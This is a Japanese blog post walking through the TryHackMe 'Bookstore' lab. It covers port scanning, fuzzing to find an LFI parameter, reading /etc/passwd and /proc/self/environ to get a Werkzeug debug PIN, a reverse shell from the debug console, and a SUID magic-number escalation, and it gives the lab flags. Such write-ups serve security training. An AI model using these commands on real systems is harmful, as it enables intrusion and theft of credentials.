0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Bookstore:Walkthrough

0
Posted at

概要

TryHackMe「Bookstore」のWalkthroughです。

Task1

Q1.User flag

ポートスキャンを実行します。

$ nmap -Pn -T4 -sCV -p- 10.48.184.19 -oN nmap_result -vvv

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 62 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs5RybjdxaxapwkXwbzqZqONeX4X8rYtfTsy7wey7ZeRNsl36qQWhTrurBWWnYPO7wn2nEQ7Iz0+tmvSI3hms3eIEufCC/2FEftezKhtP1s4/qjp8UmRdaewMW2zYg+UDmn9QYmRfbBH80CLQvBwlsibEi3aLvhi/YrNCzL5yxMFQNWHIEMIry/FK1aSbMj7DEXTRnk5R3CYg3/OX1k3ssy7GlXAcvt5QyfmQQKfwpOG7UM9M8mXDCMiTGlvgx6dJkbG0XI81ho2yMlcDEZ/AsXaDPAKbH+RW5FsC5R1ft9PhRnaIkUoPwCLKl8Tp6YFSPcANVFYwTxtdUReU3QaF9
|   256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCbhAKUo1OeBOX5j9stuJkgBBmhTJ+zWZIRZyNDaSCxG6U817W85c9TV1oWw/A0TosCyr73Mn73BiyGAxis6lNQ=
|   256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAr3xDLg8D5BpJSRh8OgBRPhvxNSPERedYUTJkjDs/jc
80/tcp   open  http    syn-ack ttl 62 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-favicon: Unknown favicon MD5: 834559878C5590337027E6EB7D966AEE
5000/tcp open  http    syn-ack ttl 62 Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: Home
| http-robots.txt: 1 disallowed entry 
|_/api </p> 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.6p1
80 http Apache/2.4.29
5000 http Werkzeug httpd 0.14.1 (Python 3.6.9)

80番ポートのディレクトリスキャンをします。

$ dirsearch -u http://10.48.184.19/

[09:34:59] 301 -  313B  - /assets  ->  http://10.48.184.19/assets/          
[09:34:59] 200 -  478B  - /assets/                                          
[09:35:03] 200 -    1KB - /books.html                                       
[09:35:20] 200 -   15KB - /favicon.ico                                      
[09:35:26] 200 -  523B  - /images/                                          
[09:35:26] 301 -  313B  - /images  ->  http://10.48.184.19/images/          
[09:35:29] 301 -  317B  - /javascript  ->  http://10.48.184.19/javascript/  
[09:35:32] 200 -    6KB - /LICENSE.txt                                      
[09:35:34] 200 -    1KB - /login.html

/assets/js/api.jsを確認します。
コメントアウトを見ると、以前のバージョンではLFIの脆弱性があるようです。

//the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.

5000番ポートのディレクトリスキャンをします。

$ dirsearch -u http://10.48.184.19:5000

[09:38:12] 200 -  825B  - /api                                              
[09:38:12] 200 -  825B  - /api/                                             
[09:38:37] 200 -    2KB - /console                                          
[09:40:02] 200 -   45B  - /robots.txt

/apiを確認すると、ドキュメントが記載されています。

image.png

以下エンドポイントが判明しました。

/api/v2/resources/books/all
/api/v2/resources/books/random4
/api/v2/resources/books?id=1
/api/v2/resources/books?author=J.K. Rowling
/api/v2/resources/books?published=1993
/api/v2/resources/books?author=J.K. Rowling&published=2003

v1でLFIの脆弱性があるという出の、v1でのパラメータを探します。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://10.49.165.221:5000/api/v1/resources/books?FUZZ=/etc/passwd -c

show                    [Status: 200, Size: 1555, Words: 9, Lines: 31, Duration: 136ms]

パラメータが分かったので、確認するとLFIに成功したと分かります。

$ curl http://10.49.165.221:5000/api/v1/resources/books?show=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sid:x:1000:1000:Sid,,,:/home/sid:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin

環境変数を確認すると、PINコードが分かりました。

$ curl http://10.49.165.221:5000/api/v1/resources/books?show=/proc/self/environ -o env.txt && cat env.txt
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100    210 100    210   0      0    771      0                              0
LANG=en_US.UTF-8OLDPWD=/home/sidPWD=/home/sidHOME=/home/sidWERKZEUG_DEBUG_PIN=123-321-135SHELL=/bin/shSHLVL=1LOGNAME=sidPATH=/usr/bin:/bin_=/usr/bin/python3WERKZEUG_SERVER_FD=3WERKZEUG_RUN_MAIN=true

PINコード123-321-135を入力し、python consoleにアクセスできました。

image.png

pythonでリバーシェルのコードを実行し、シェルを張れました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.183.253] from (UNKNOWN) [10.49.165.221] 43294
$ id
id
uid=1000(sid) gid=1000(sid) groups=1000(sid)

ユーザーフラグを入手できました。

$ cat user.txt
cat user.txt
4ea65eb80ed441adb68246ddf7b964ab

A.4ea65eb80ed441adb68246ddf7b964ab

Q2.Root flag

SUIDが設定されたファイルを検索すると、try-harderというファイルを発見しました。

-rwsrwsr-x 1 root sid   8488 Oct 20  2020 try-harder

文字列を探すと、マジックナンバーの認証に成功すると、権限昇格が出来ると分かりました。

$ strings try-harder

What's The Magic Number?!
/bin/bash -p

Ghidraでリバースエンジニアリングを行い、main関数を確認します。

image.png

処理を確認していくと、入力値を受け取り処理した結果、0x5dcd21f4の値になるかを判定していると分かりました。

以下の計算式で値が処理されます。

入力値 ^ 0x1116 ^ 0x5db3 = 0x5dcd21f4

XORは2回実行すると元の値に戻るので、以下の計算式で必要な入力値を算出できます。

入力値 = 0x1116 ^ 0x5db3 ^ 0x5dcd21f4

pythonでxorを実行します。

xor_dec.py
magic_number = 0x5dcd21f4 ^ 0x5db3 ^ 0x1116

print(f"16進数: {hex(magic_number)}")
print(f"10進数: {magic_number}")

結果が出ました。

$ python xor_dec.py       
16進数: 0x5dcd6d51
10進数: 1573743953

10進数を入力すると、root権限に昇格出来ました。

$ ./try-harder
./try-harder
What's The Magic Number?!
1573743953
1573743953
root@bookstore:~# id
id
uid=0(root) gid=1000(sid) groups=1000(sid)

ルートフラグを入手できました。

root@bookstore:/root# cat /root/root.txt
cat /root/root.txt
e29b05fba5b2a7e69c24a450893158e3

A.e29b05fba5b2a7e69c24a450893158e3

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?